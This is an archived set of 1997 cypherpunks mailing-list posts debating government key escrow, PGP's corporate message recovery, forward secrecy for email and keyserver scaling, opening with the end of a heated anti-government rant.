    permitted to slit the outgoing envelope. in addition to the 
    regulations, the intelligence level of a hack would not
    understand the shading of allusions in plain text! even Dapper
    Joe Gotti, the Teflon Don, is entitled to the privacy of his
    personal correspondence unless there is a show cause order.

    to be both honest and pragmatic, certainly the privacy rights of
    some of some problem prisoners are violated.

    theoretically, GAK and CAK would be acceptable in a perfect 
    world, and if the federal government and the rest of the
    information snoops would unfailingly adhere to Constitutional
    "commandments." human nature has proven more than once, and it 
    will prove it again, it is not likely everyone will be
    incorruptible. in fact, I will go so far as to say that 
    *everyone* has a price --even Tim May <g>.

    however, anybody who has eyes or ears knows, comprehends, and 
    accepts that all governments rule by power --even the United
    States; and, that the control of information is the power to
    control. today, it is even more accepted that governments are,
    at best, a necessary evil --and corrupt, paranoid, and nosy
    governments at that; one which will violate your rights if it
    is, or they think it might be, in their interests to do so.
    
    few do not know that our governments are rotten to the core on
    privacy issues; the US, even more than the other members of 
    Western society, has been abrogating, and will continue to
    perniciously abrogate, our rights.

    unfortunately, each centralization of the filing system permits
    the government, or lawyers litigating, a clearer path of access. 
    
    in reality, encrypted electronic records are significantly safer
    filing cabinets than those filled with paper, but they are still
    records maintained. paper filing cabinets are fast disappearing;
    records are either microfilmed, or converted to bits, or both. 
    Xerox, for instance, has a combination system which maintains an
    optical image and a scanned text digital image which can be
    processed with pattern recognition, etc.

    people say the damnedest things in email without thinking. 
    given the ubiquity of computers, data recovery advances, and
    governmental intentions, everyone, whether or not it is personal
    or business, needs to learn the virtue of compartmentalization;
    files need to be organized: separate the necessary documentation
    from the routine and sublime --purge the latter regularly from
    visible system. following this procedure is not illegal if it is
    a regular practice, and, even more importantly, it is not
    performed to obfuscate or impede an investigation, civil or
    criminal.

    fundamentally, the worst thing we can do is permit the government 
    to think they gained something by necessary business practice on 
    the way to their perverted goal of transparent crypto. there is 
    no question they will use their standard ploy that we have 
    already agreed to backup procedures for data storage safety 
    --so what is the difference if you permit us to maintain a key;
    remember, we're from the government, and we're here to help you.
    trust me-- yeah, right! 

    on the other hand, we should be encouraged by the decision of 
    the European commission to totally stiff the U.S. request for 
    them to comply with the F{reeh,uck} mandate; likewise, they 
    chastised the French. The difference in France v. the US is that
    if you do not ask the French government, they do not tell you: 
    "no". 

    If the European commission does follow through with their
    intentions, and I have no doubt they will as European
    politicians recognize both security and discreetness, they will
    be submitting EC legislation before the end of the year
    encouraging strong encryption both to facilitate commerce and to
    protect against the criminal elements; they fully realized the
    folly of expecting criminals not to use strong encryption even
    if it is illegal. firearms in the hands of criminals are also
    illegal. 

    either F{reeh,uck} and Bubba can get off their horses and sell
    the EC hardware and software, or they can lose it all.
    Interestingly. the software will probably be PGP --except the
    revenue will not come home to PRZ, let alone America. Great 
    trade policy, Bubba. where did you say you're from? Arkansas?

    the actions of the more pragmatic, and obviously privacy
    conscience, European leaders only paints a sharper contrast with
    the intentions of the U.S. government. 

    have no doubt, the U.S. government is no different than Lucifer
    who intended to remove from mankind any choice. the actions of
    the U.S. government since the Civil War have been an insidious
    assumption of centralized power, including unaccountable police,
    and a systematic plan of supposed emergencies to expand the
    control of the few at the expense of the many.

    when the smoke of the battle clears, if PGP is not its original
    pristine, highway salute to the powers that be "old self," any
    "concessions" in behalf of corporate responsibility will be
    judged on their appearance, not the effectiveness of the
    solution. Then the flaming idealists will sing and dance for
    blood, claiming PGP released the dogs of war, beginning the 
    inexorable dance to our doom.

    the disruptive class must be put aside (to argue among 
    themselves) and the rest of need to get down to work:

    we must educate the users, washed and unwashed alike, that 
    "doing business" is not necessarily cozying up to the devil;
    while simultaneously affirming that we can not and will not
    tolerate arrangements with any similarity to GAK, CAK and the
    four horsemen.

    on the other hand, if the government does not disassemble and 
    chastise Bill Gate$, I fear Bill's intentions far more than I do
    the federal government, starting with crash prone mediocrity and
    including Gate$' standard no source code policies-- "trust me".

    sure, Bill, I trust you; just come a little closer....

 --
 "When I die, please cast my ashes upon Bill Gates. 
     For once, let him clean up after me! " 
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Mon, 13 Oct 1997 18:53:08 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: D-H Forward Secrecy for E-Mail?
In-Reply-To: <199710130438.FAA02474@server.test.net>
Message-ID: <199710131045.GAA20731@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



In <199710130438.FAA02474@server.test.net>, on 10/12/97 
   at 11, Adam Back <aba@dcs.ex.ac.uk> said:


>William Geiger <whgiii@invweb.net> writes:
>>    at 02, Adam Back <aba@dcs.ex.ac.uk> said:
>> >As pgp 5.0 uses key servers directly from the mail client (and some other
>> >clients do also), this all works out because you just publish your new
>> >weekly communications key on the keyserver, and this eliminates the need
>> >for interactive communications with your recipient which true DH PFS
>> >requires.  
>> 
>> Have you considered the logistical nightmare that this would cause?? I can
>> see that you are unaware of the precarious state the current PGP Public
>> Key Server Network is in. 

>The keyservers using pgp2.x as the key lookup engine are struggling
>because the database code isn't very good.  But the experimental MIT
>keyserver, and Tage Stabell-Kulo's key server code on the key server in
>Norway fairly whistle through key lookups.  PGP Inc also is using the
>better keysever code -- I think based on the one at MIT implemented by
>Marc (surname escapes me right now).

Actually the it is the new pgp5.0 servers that are having the problems.
The PGP Inc. server may be doing ok but they are not part of the Network
(they have cut-off their connection and are not sending out nor receiving
keyring updates to the other servers).

>> Right now it is getting by but this increase in load would bring it
>> all to a screeching halt. 

>It all depends on how up to date you are on keyserver performance
>problems; perhaps you are more up to date than myself, perhaps not.

>The answer I think which must come in any case is a distributed key
>server system because the current 100% replication method seems unlikely
>to scale to likely future demands, with or without forward secrecy.  If
>your company holds keys for it's employees on it's openly accessible key
>server, this distribution will be very similar to DNS, and similarly
>scalable.

I agree that the 100% replication can't last the number of keys and key
requests will become beyond what a PC based system can handle.

>> There have been suggestions of moving key distributution to the DNS
>> but I seriously doubt even it would handle the traffic.

>I think this is taking it too far.  Have you considered how much traffic
>DNS handles right now?  I would have thought it would be many orders of
>magnitude more than forward secret email is going to cause. Web traffic
>is the bulk of network communications, just imagine the DNS lookups
>caused by 50 million netters clicking away. 

Yes but everyone's Ip's aren't changing every week. It's not just a matter
of the multitude of requests that would be required in this systems as
everyone will need to update all their keys on a weekly basis but also the
DNS records will be having this turnover. the DNS system has enough
problems as it is let alone what would happen with the implementation of
forward secrecy would cause (my best guess that within a week or two the
whole thing would crash and burn).

>Bear in mind also hear that most users will probably be entirely
>satisfied with a communications key update time of 1 week.  It is
>probably mostly cypherpunks, or people with high value communications to
>secure who would opt for more frequent key updates.

Even a weekly turnover of all keys would be too much.

>Bear in mind also that once the new key has been issued, you could also
>release a deletion request for the previous one on the keyserver in the
>form of a revocation certificate.

You would have to otherwise you would run out of storage very quickly.

The best I can think of handleing the key distribution problem is to
attach a copy of your key to every correspondence and then have the client
automatically check and see if it has changed and update the keyring as
needed. If find both the automatic processing & sending the key with every
messages quite bothersome (these are PKS implementation issues that should
be covered in a different thread).

>> Also what happens to the "web of trust" in such a system of high key
>> turnover?

>Nothing.  It is unaffected.  The WoT is only based on signature keys. You
>personally certify your communication with your signature key.

>> Exactly how much added security is provided by all of this?? 

>Lots.  Consider: you are the average PGP user, you have one key generated
>per year if you are lucky (probably more like once per life time).  You
>are in a company, and the company has a heck of a time persuading people
>not to use dumb passwords, or leave their passwords on yellow sticky
>notes conveniently stuck to the corner of the screen.

>Scenario: the cleaner is bribed to switch on a machine with a supplied
>boot floppy to put in the drive, and writes down the password on the
>sticky note.

>So, without forward secrecy the attacker now has all the traffic said PGP
>user wrote in the life time of his encryption key.  What's that 1 years
>traffic?  (He'll have collected the ciphertext by eavesdropping on SMTP
>traffic travelling over the internet).

>With say once-a-day forward secrecy, the attacker gets nothing, no
>previous communications, and no future communications.

>Granted the attacker can install a replacement version of PGP to try to
>get future traffic, but the company can run automated audit checks of
>varying sophistications each morning to check if machines have been
>switched on, and if files have been altered.  If tampering is detected,
>or perhaps every morning you re-install the machine from scratch
>remotely, as the MIT project did.  (Reckoned to be a human resource
>efficient method of running networks -- got a problem with your machine
>-- reload it, the lot no arguments).

Well IMHO this scenario does not forward your cause much. If the physical
security is that bad (unrestricted access to equipment, weak passphrases,
Post-it-Notes, ...ect) then the information an attacker is looking for is
more than likely going to be available to him without messing with the PGP
keys. If the reverse is true and the physical security is strong the the
case for short-term separate keys is gone as the risk of exposure to a
long term key is greatly reduced.

>> While Forward security via DH "may" be more secure is the added
>> expense of implementing such a system justified??

>Forward secrecy in a way is not something you need to argue about adding
>or not as such, because in a sense you've already got it, built in to
>pgp5.0.

>To see what I mean you'd need to read Hal Finney's recent post on the
>OpenPGP list, where he described how you could already achieve forward
>secrecy using the fact that you've got a separate encryption key and
>signature key.

>You just set the encryption key to have a short expiry, and generate a
>new one when it does expire.  You sign the encryption keys with your
>signature key to transfer the WoT based trust to them.

>The only extra functionality I am arguing for over what PGP5.0 already
>has is some built in support for this type of usage, so that pgp will
>manage the generation of new keys at the key expiry point transparently. 
>That much as such doesn't need any modifications to the current PGP
>standard.  It's an implementation issue.  Another vendor could easily
>already implement this type of functionality.

I have some serious reservations of the security implications of frequent
changes to the keys. It has the potential for the user to disregard all
changes to the keys (think how quick the warning pop-ups in Netsacpe get
ignored and/or disabled by the user). The other possibility it to make the
key changes transparent to the user which I do not like at all for obvious
reasons (I do not see complete isolation of the user from the cryptosystem
as a Goodthing(TM) ).

>Also I'm arguing for separate communications and storage keys, I think
>this is almost essential once PGP starts to work with escrow schemes,
>because there are similar arguments for separating storage and
>communications keys as there were for creating separate signature and
>encryption keys from the original single key.

Well I have been thinking more on this. I still am not sold that separate
keys are needed but even if they are I am inclined to believe that PGP is
not the place for them. I am leaning towards the opinion that file
encryption should be handled by the files system along with other disk
security features. This seems more appropriate than having your e-mail
client doing individual file encryption.

>> We all could switch to using OTP's for maximum security but I doubt
>> that few if any would justify the cost of such a system.

>Actually I hear Fred Piper was semi-seriously arguing for this ... his
>argument went like this: mass storage is cheap and getting cheaper fast;
>often the communications needed could be covered for years worth of comms
>between to organisations by exchanged of a small read only storage
>device.  Simple, and fool proof, etc.  But I digress.

>> PS: current PGP key format does have a field for key expiration. Until 5.0
>> it was only used in the Viacrypt version.

>I know, convenient for implementing this type of feature.

>I was also arguing for support for once per message forward secrecy. You
>should like that one because I was arguing that this should be done with
>out keyservers.  Just send the key to the person your communicating in
>the email you would like a forward secret reply to.

>I also personally prefer people to send me keys in email, because the pay
>per second phone lines here at home mean that I tend want to avoid doing
>too many online key lookups, so I think this would be an individually
>useful feature.

I do my keylookups automatically durning the msg filtering process which
is done in parallel to the message Dl's. The outbound message lookups are
a little more time consuming but is compensated by fewer keys to look for
both because fewer messages on the outbound side and the use of key caches
on the client machine for the most used keys for sig verification and
encryption. Also logging of e-mail addresses that do not use PGP cuts down
on the number of lookups needed ( I only keep trusted keys in my pubring
all others are kept in the cache for performance reasons ).


-- 
---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
---------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 13 Oct 1997 12:04:59 +0800
To: zooko@xs4all.nl
Subject: the GAK meme war: beware of NewSpeak and Minitru memes (was Re: Is Adam Back falling for one of Minitru's tricks?)
In-Reply-To: <199710121557.RAA13185@xs2.xs4all.nl>
Message-ID: <199710130339.EAA01978@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Zooko Journeyman <zooko@xs4all.nl> writes:
> 
> Dammit Adam.  I respect your opinion and your knowlege about
> these issues, but I think that you've been fooled by Minitru's
> machinations.

I'm all ears to such an alarming prospect.  I also respect the
Journeyman's insights (to return the compliment :-)

We have to be watchful that we don't start using NewSpeak, and to not
get inadvertently drawn into perpetuating the GAKkers insidious false
memes -- often out-right fallacies -- spread by the GAKkers as part of
their mandatory GAK campaign.  It is often staggering how successful
the GAKkers are in spreading these memes, given each GAKker meme's
inherent fallacy once it is examined at all closely.  Often the terms
the GAKkers choose for their memes are hijacked existing technical
terms with nice wholesome sounding rings to them.  "key escrow", "key
recovery", etc.

Even in these circles, on cypherpunks, we see it.  People using the
NewSpeak terms "key escrow", "key recovery".  Having the press release
their memes as "news", and having the press give the photogenic chief
GAK spokesperson Freeh lots of air time helps the GAKkers cause no
end.  The "four horsemen of the infocalypse" being the GAKkers other
favourite false meme -- that you can prevent criminals using crypto by
restricting the law abiding populace's access to non GAKked crypto.
And another false meme is that export controls are designed to stop
terrorists obtaining crypto -- what they are designed to do is hinder
companies building in crypto, by with-holding 50+% of the market place
for strong crypto from US companies, and by spreading FUD.

The efforts of Tim May and others to provide alternate non-NewSpeak
terms and to propagate those helps a lot.  Cypherpunks have had some
success in this area.  Carl Ellison's 'GAK' acronym is doing well,
other cypherpunks PR wins being the Big Brother Inside logo & sticker
campaign, KRAP acronym (dumbly named by the GAKers themselves: Key
Recovery Alliance Program).  Also "four horsemen of the infocalypse".

(My reason for not attributing all these pro-crypto phrases and memes
is that I don't know where they all came from -- the majority I think
Tim is responsible for, but like all good memes they become part of
the langauge, like the rhetorical question "Who is John Galt?" in Ayn
Rand's novel.  People often don't know the origin).

Another succesful cypherpunks meme is to continue calling GAK GAK in
the face of new editions of the NewSpeak dictionary handed down from
DC, where new PR terms are given to new attempts at GAK.  For example,
first there was Clipper I, which backfired to the extent that
`Clipper' ended up meaning `big brother wants to read your mail, and
tap your phones'.  Then they tried a new name, cypherpunks called it
clipper II, which partly blew the GAKkers cover, as they were trying
to sneak it through under a different name.  We are now on Clipper IV,
or V, I've even lost count!  We're still calling it GAK, or Clipper
XII or wherever the count is.

Anyway, lets discuss Zooko's insights into this NewSpeak issue:

> Minitru would _like_ for the world's businessmen to be presented
> with a choice between "brittle" crypto-- private keys held solely by
> owners, plaintext available solely to recipient, where every
> forgotten password, missed keystroke or disgruntled saboteur means
> the company loses valuable data permanently-- or GAKked crypto where
> these problems of brittleness are solved by Big Brother paternally
> providing backups when you find yourself in need.

I agree with that 100%.  You can see that meme being spread in press
releases, and in quotes from Freeh etc.  Jon Callas was perpetuating
this meme in his post about PGP's controversial business snoopware.
The whole "key recovery" PR renaming of GAK was intended to exploit
this spin:

 "businesses need access to their information, therefore they need the
  government to have access to their communications".  

Now hold-on-there one minute!  Why should businesses give the
government access to keys for recovering their own data?  Surely they
would keep backup copies of their own keys in their company safe, or
with their lawyer, or whoever the want!  Also (and it simply _amazes_
me that people do not notice this switch), companies data is on their
frigging disks! .. not flying around in transit bouncing between flaky
SMTP servers.  Lucky Green occasionally steps in to correct this myth.
Tim May did a nice expose of this myth yesterday.  The cunning GAKker
ploy that so called "escrow agents" or "trusted third parties" would
be "independent" was just so much fluff to divert criticism from
giving keys directly to government.  It means the same thing, and the
NSA reserves rights to the whole master key database anyway. (TTP
being another GAK term, an oxymoron if ever I heard one).

> In reality neither of these is an acceptable alternative for 
> serious use of strong crypto in business.  Escrow is a 
> valuable business concept, which was invented by businessmen 
> centuries ago and has been used ever since because it 
> provides significant value to the participants who voluntarily
> enter into the escrow contracts.  In the context of the 
> information age and crypto, escrow will be one of the basic 
> building blocks of the new era, both for basic business 
> purposes-- serving the same purpose that escrow has always 
> served but with heightened importance to pseudonymous, global 
> commerce-- and for building cryptosystems which are robust in
> the context of data being shared among many people (e.g. a 
> company).

Yep agree.  So long as we're talking about escrow of data stored on
disks.

I do not believe there is a case for escrow of communications in
transit.  I have been arguing that the most secure, and least GAK
friendly way of implementing escrow of archived email communications
is to decrypt the communications and store them with an escrowed
storage key.

> The issue is not how many people are given access to your keys
> or your data.  The issue is whether you maintain your right to
> control who those people are (including, but not limited to, 
> your right to decide that you will be the only person with 
> access), or whether others with delusions of grandeur and 
> obedient police forces can compel you or trick you into giving
> them access.

I agree with this statement also.

However some of the technical issues feed back into the political
process, and mean that it is dangerous to build certain types of
escrow systems, because they can be useful to GAKkers.  PGP Inc's
pgp5.5 and SMTP policy enforcer is 100% GAK ready.  It could be used
to implement a GAK system tomorrow, for example for the Chinese, or
Singaporeans who seem to want GAK, if PGP could export it to them.  We
_know_ the USG/NSA/FBI want to have mandatory GAK also.  Is it really
wise to hand them software and an installed user base on a plate like
that?

So I am also arguing against systems which are GAK compliant in this
way.

You will notice that a central theme for the GAKkers is that they want
to snoop communications, and so they naturally enough primarily want
access to communications keys.

Well this functionality is clearly not required for business data
recovery, nor even for recovery of archived email (when it is
re-encrypted with different storage keys, or just decrypted and stored
in plaintext).

So as long as you build corporate data recovery systems which truly
only recover storage keys, we're all fine and happy.


The meme that you need to have escrow of keys used to protect
communications in transit in order for a company to retain recovery
capability of it's employees mail folders is an especially tough one
to kill.  Even you, Zooko, and PGP Inc are guilty of that one.

One problem with this meme is it didn't have a label for a long time,
there was no term which described the problem, so it got lumped in
with CKE (Commercial Key Escrow) or CAK (Company Access to Keys) which
have much less negative overtones.  The chant "CAK good GAK bad" is
burnt into many peoples brains.

PGP Inc kindly provided a label for this problem, doubtless in their
minds at the time it was a friendly term: it is 

	CMR or "Commercial Message Recovery"

However there-in lies the precise same fallacy that the GAKkers are
promulgating with the "key escrow" and "key recovery" memes, that you
somehow need escrow of transient communication keys to access data
stored on your frigging disk!

PGP have propogated the GAKkers "key recovery" fallacy into the
corporate world with their CMR term, and GAKware implementation.  CMR
sounds reasonably palatable because they, like the GAKkers, chose it
to sound positive.  The sad thing is they probably didn't even realise
they were being fooled by the Minitru "key recovery" meme still, so
powerful was the meme that it blinded them to the falacy.

One problem with CMR is that it is a security flaw; it is bad security
practice to put second doors into transient communications, and that
it is GAK compliant.  And CMR is GAK compliant because if you do what
PGP have done with their CMR implementation, you have done want the
GAKkers want you to do with their "key recovery" and "key escrow"
campaigns.  You have implemented something which provide them on a
plate a really slick smooth migration path to mandatory GAK.

"GAK compliant" is the term I coined to express this aspect of the
problem with CMR.

We could kind of use a term for CMR which expressed it's negative
aspects, it is basically the technology the GAKkers want you to use
but being used for Companies.  This is what the GAKkers were trying to
do with the KRAP (Key Recovery Alliance Program) which was clipper
IV(?)  Only now PGP are inadvertently doing it for them.

Candidates which explain what CMR really is are Tim's "snoopware", or
perhaps "GAKware".  GAKware seems like a fair description, and is a
little harsher than snoopware.  It seems a fair description because it
is basically GAK enforcement technology being offered for sale to
companies under the guise of "data recovery".

> Don't let Minitru continue to confuse the issue-- you'll be 
> left with nothing but false alternatives.  Escrow is good and 
> necessary and inevitable-- ask any businessman.  GAK is not
> escrow.  Escrow is not GAK.

The above is the point were we diverge, and I think it is you, Zooko,
who has been conned by Minitru, or at least by PGP Inc, which was in
turn conned by Minitru.

Now that we have the terms we can express the problem concisely:

- Company data recovery of stored data is good -- companies need
  availability of their data

- GAK is bad -- because GAK means governments wanting master snoop
  keys into your messages, so that they can keyword scan them on
  fishing expeditions

- GAKware used for commercial applications is bad, because it provides
  the GAKkers with a deployed software base

- GAK compliancy in GAKware/snoopware is bad because it provides the
  GAKkers with a smooth migration path from:

	no GAK -> business deployed GAK -> mandatory GAK

  where business GAK is the process PGP Inc are starting right now by
  deploying GAK compliant software.

- Companies should acheive recovery of encrypted stored copies of
  communications which are encrypted with transient communications
  keys by encrypted stuff on disks with "storage keys", and stuff in
  transit with "communications keys".

- Communications keys should be short lived, the shorter lived the
  better, because this is the antithesis of GAK: not only can the
  government not snoop your communications, but they can't get you to
  decrypt them afterwards, because you won't have they keys.  (Forward
  secrecy being basically that you delete keys after use, or after some
  tunable, relatively short time period, 1 hour, 1 week, etc)

Say no to PGP Inc GAKware.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Mon, 13 Oct 1997 11:43:33 +0800
To: cypherpunks@cyberpass.net
Subject: Auto-archiving cleartext is GAK
Message-ID: <199710130335.FAA19075@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Advocates of the model where software is automatically archived on
receipt, either in cleartext or re-encrypted with a corporate key,
need to be aware that there are problems with it:

No notification to sender about the policy.

Imagine encrypting this mail to your friend sue@microsoft.com: "Hey Sue -
it's been a while.  Is your boss still being such a wiener?  That was a
great imitation you did of the jerk at the party last month.  He still
doesn't know you're shopping your resume around, right?  What a luser."
You might have thought you had a certain level of privacy when you
encrypted it to your friend's personal key, but you didn't.  This is going
to cause embarrassment and misunderstandings.  People should know if their
mail is going to be automatically saved in the clear to a company archive.
The best way to make sure of that is to have the sender be the one to do
it, or not.

No way to prevent third-party access.

With the corporate message recovery feature, the sender has the
option of simply ignoring the recovery key and sending it encrypted just
to the recipient.  Some corporations won't let it through, others will.
Some companies will want mail to be made recoverable by default, while
still allowing an escape clause for personal mail and special purposes
(like for "sensitive" mail which needs protection against subpoena
and discovery).  They can use the "optional" CMR mode.  Again, senders
are always notified as to which mode is being used by a given company,
and senders can be confident that if they don't use the third-party key,
no access will be possible.  With automatic encryption and archival on
receipt, all mail will be archived, and senders have no notice and no
guarantee that stated policies will be followed.

No escape via super-encryption.

Even if the company is mandating a recovery key and filtering out
messages which aren't encrypted to it, the sender still has the option to
super-encrypt with the recipient key alone, before sending the message
encrypted to the corporate recovery key.  This ensures that only the
recipient's personal key can read the message.  With software which
automatically saves the cleartext of the message, once the user reads
the data it is available to the corporation via the snoopware.

Facilitates GAK!

Suppose this solution is adopted, and software is developed which
automatically re-encrypts received email and sends it to a secure archive.
It's robust and works with a wide variety of email packages.  Now the
government could simply mandate this to be used for all mail reading
software.  The secure archive would be a remote archive maintained by
the FBI to protect public safety.  All plaintext would be sent there,
encrypted by the FBI key.  The business software would already support
this.  This is GAKware!  Unlike with a CMR system, the sender would
have no way to prevent access.

Can't handle forgotten passphrases.

People forget passphrases all the time.  With re-encryption on receipt,
there is no way to recover gracefully from this error.  All the incoming
encrypted data is lost until you can notify everyone who has sent mail to
resend it, and get your new key out to all of them.  These may be purchase
orders, sales leads and other important documents which represent lost
business if they can't be recovered.  This is going to invite people to
use poor security practices like writing down passphrases or choosing
ones which are easy to guess.  Worse, it...

Invites key escrow.

In order to prevent this problem, employees may be forced to share
their secret keys with corporate management.  Software will be written
to facilitate this process.  Crypto companies are already doing this.
Nortel Entrust allows key generation by management, where employees
are given the keys and management keeps a copy.  Shades of Clipper!
This also fails the notification requirement.  Don't believe me?  Take a
look at this description of the Nortel Entrust product:

> Recovering Lost Keys
>    
>    Many data security systems require that users have passwords to access
>    their keys. However, with some information security systems, disaster
>    strikes when users forget their passwords. When users of such systems
>    forget their passwords, not only do they lose their keys -- they also
>    lose all the information encrypted with those lost keys (forever).
>    Entrust, however, provides an easy way to securely recover keys.
>    
>    If users forget their Entrust passwords, they call their Entrust
>    Administrator to request that their encryption key pairs be recovered.
>    After setting up the users for key recovery using Entrust/Admin, the
>    Entrust Administrator provides each recovered user with a new
>    reference number and authorization code. Users then enter this
>    information as part of the Recover User operation in Entrust/Client.
>    This operation sets up a protected communication session between
>    Entrust/Client and Entrust/Manager for encryption key pair recovery.
>    When Entrust/Client recovers a user's encryption key pair, it
>    automatically creates a new signing key pair.
>    
> Updating Keys
>    
>    While users can recover their key pairs if they forget their
>    passwords, there are some situations in which users may want to get
>    new key pairs altogether. For instance, the security policy of an
>    organization may dictate that users get new key pairs every two years.
>    In this case, a Security Officer uses Entrust/Officer to specify that
>    key update occurs every 24 months. The term key update refers to the
>    automatic creation of new encryption key pairs and signing key pairs
>    at specified times. Any Security Officer can specify the frequency of
>    key updates.
>    
>    Every time users log on to Entrust, the software checks to see if key
>    update is required. If this is the case, Entrust/Client makes a
>    request to Entrust/Manager for a new encryption key pair. Once the new
>    encryption key pair is generated, Entrust/Manager delivers the new key
>    pair in a protected communications session. Delivery of the new
>    encryption key pair is completely transparent to the user.

No system is ideal.

Before pushing this re-encryption model as a panacea, think about the
implications.  No system which provides automatic access to business data
is going to be privacy friendly.  Any such system can be perverted into
supporting GAK.  Load it up with all the disclaimers you like, but if
you advocate software which contains key escrow and which automatically
provides cleartext to third parties, you are not advocating software
which protects privacy.  Be prepared to be called an advocate of GAK next
time you push for software which automatically archives cleartext, because
if it can save it for business, it can save it for government.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 13 Oct 1997 17:11:52 +0800
To: whgiii@invweb.net
Subject: Re: D-H Forward Secrecy for E-Mail?
In-Reply-To: <199710130223.WAA15345@users.invweb.net>
Message-ID: <199710130438.FAA02474@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




William Geiger <whgiii@invweb.net> writes:
>    at 02, Adam Back <aba@dcs.ex.ac.uk> said:
> >As pgp 5.0 uses key servers directly from the mail client (and some other
> >clients do also), this all works out because you just publish your new
> >weekly communications key on the keyserver, and this eliminates the need
> >for interactive communications with your recipient which true DH PFS
> >requires.  
> 
> Have you considered the logistical nightmare that this would cause?? I can
> see that you are unaware of the precarious state the current PGP Public
> Key Server Network is in. 

The keyservers using pgp2.x as the key lookup engine are struggling
because the database code isn't very good.  But the experimental MIT
keyserver, and Tage Stabell-Kulo's key server code on the key server
in Norway fairly whistle through key lookups.  PGP Inc also is using
the better keysever code -- I think based on the one at MIT
implemented by Marc (surname escapes me right now).

> Right now it is getting by but this increase in load would bring it
> all to a screeching halt. 

It all depends on how up to date you are on keyserver performance
problems; perhaps you are more up to date than myself, perhaps not.

The answer I think which must come in any case is a distributed key
server system because the current 100% replication method seems
unlikely to scale to likely future demands, with or without forward
secrecy.  If your company holds keys for it's employees on it's openly
accessible key server, this distribution will be very similar to DNS,
and similarly scalable.

> There have been suggestions of moving key distributution to the DNS
> but I seriously doubt even it would handle the traffic.

I think this is taking it too far.  Have you considered how much
traffic DNS handles right now?  I would have thought it would be many
orders of magnitude more than forward secret email is going to cause.
Web traffic is the bulk of network communications, just imagine the
DNS lookups caused by 50 million netters clicking away. 

Bear in mind also hear that most users will probably be entirely
satisfied with a communications key update time of 1 week.  It is
probably mostly cypherpunks, or people with high value communications
to secure who would opt for more frequent key updates.

Bear in mind also that once the new key has been issued, you could
also release a deletion request for the previous one on the keyserver
in the form of a revocation certificate.

> Also what happens to the "web of trust" in such a system of high key
> turnover?

Nothing.  It is unaffected.  The WoT is only based on signature keys.
You personally certify your communication with your signature key.

> Exactly how much added security is provided by all of this?? 

Lots.  Consider: you are the average PGP user, you have one key
generated per year if you are lucky (probably more like once per life
time).  You are in a company, and the company has a heck of a time
persuading people not to use dumb passwords, or leave their passwords
on yellow sticky notes conveniently stuck to the corner of the
screen.

Scenario: the cleaner is bribed to switch on a machine with a supplied
boot floppy to put in the drive, and writes down the password on the
sticky note.

So, without forward secrecy the attacker now has all the traffic said
PGP user wrote in the life time of his encryption key.  What's that 1
years traffic?  (He'll have collected the ciphertext by eavesdropping
on SMTP traffic travelling over the internet).

With say once-a-day forward secrecy, the attacker gets nothing, no
previous communications, and no future communications.

Granted the attacker can install a replacement version of PGP to try
to get future traffic, but the company can run automated audit checks
of varying sophistications each morning to check if machines have been
switched on, and if files have been altered.  If tampering is
detected, or perhaps every morning you re-install the machine from
scratch remotely, as the MIT project did.  (Reckoned to be a human
resource efficient method of running networks -- got a problem with
your machine -- reload it, the lot no arguments).

> While Forward security via DH "may" be more secure is the added
> expense of implementing such a system justified??

Forward secrecy in a way is not something you need to argue about
adding or not as such, because in a sense you've already got it, built
in to pgp5.0.

To see what I mean you'd need to read Hal Finney's recent post on the
OpenPGP list, where he described how you could already achieve forward
secrecy using the fact that you've got a separate encryption key and
signature key.

You just set the encryption key to have a short expiry, and generate a
new one when it does expire.  You sign the encryption keys with your
signature key to transfer the WoT based trust to them.


The only extra functionality I am arguing for over what PGP5.0 already
has is some built in support for this type of usage, so that pgp will
manage the generation of new keys at the key expiry point
transparently.  That much as such doesn't need any modifications to
the current PGP standard.  It's an implementation issue.  Another
vendor could easily already implement this type of functionality.

Also I'm arguing for separate communications and storage keys, I think
this is almost essential once PGP starts to work with escrow schemes,
because there are similar arguments for separating storage and
communications keys as there were for creating separate signature and
encryption keys from the original single key.

> We all could switch to using OTP's for maximum security but I doubt
> that few if any would justify the cost of such a system.

Actually I hear Fred Piper was semi-seriously arguing for this ... his
argument went like this: mass storage is cheap and getting cheaper
fast; often the communications needed could be covered for years worth
of comms between to organisations by exchanged of a small read only
storage device.  Simple, and fool proof, etc.  But I digress.

> PS: current PGP key format does have a field for key expiration. Until 5.0
> it was only used in the Viacrypt version.

I know, convenient for implementing this type of feature.


I was also arguing for support for once per message forward secrecy.
You should like that one because I was arguing that this should be
done with out keyservers.  Just send the key to the person your
communicating in the email you would like a forward secret reply to.

I also personally prefer people to send me keys in email, because the
pay per second phone lines here at home mean that I tend want to avoid
doing too many online key lookups, so I think this would be an
individually useful feature.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

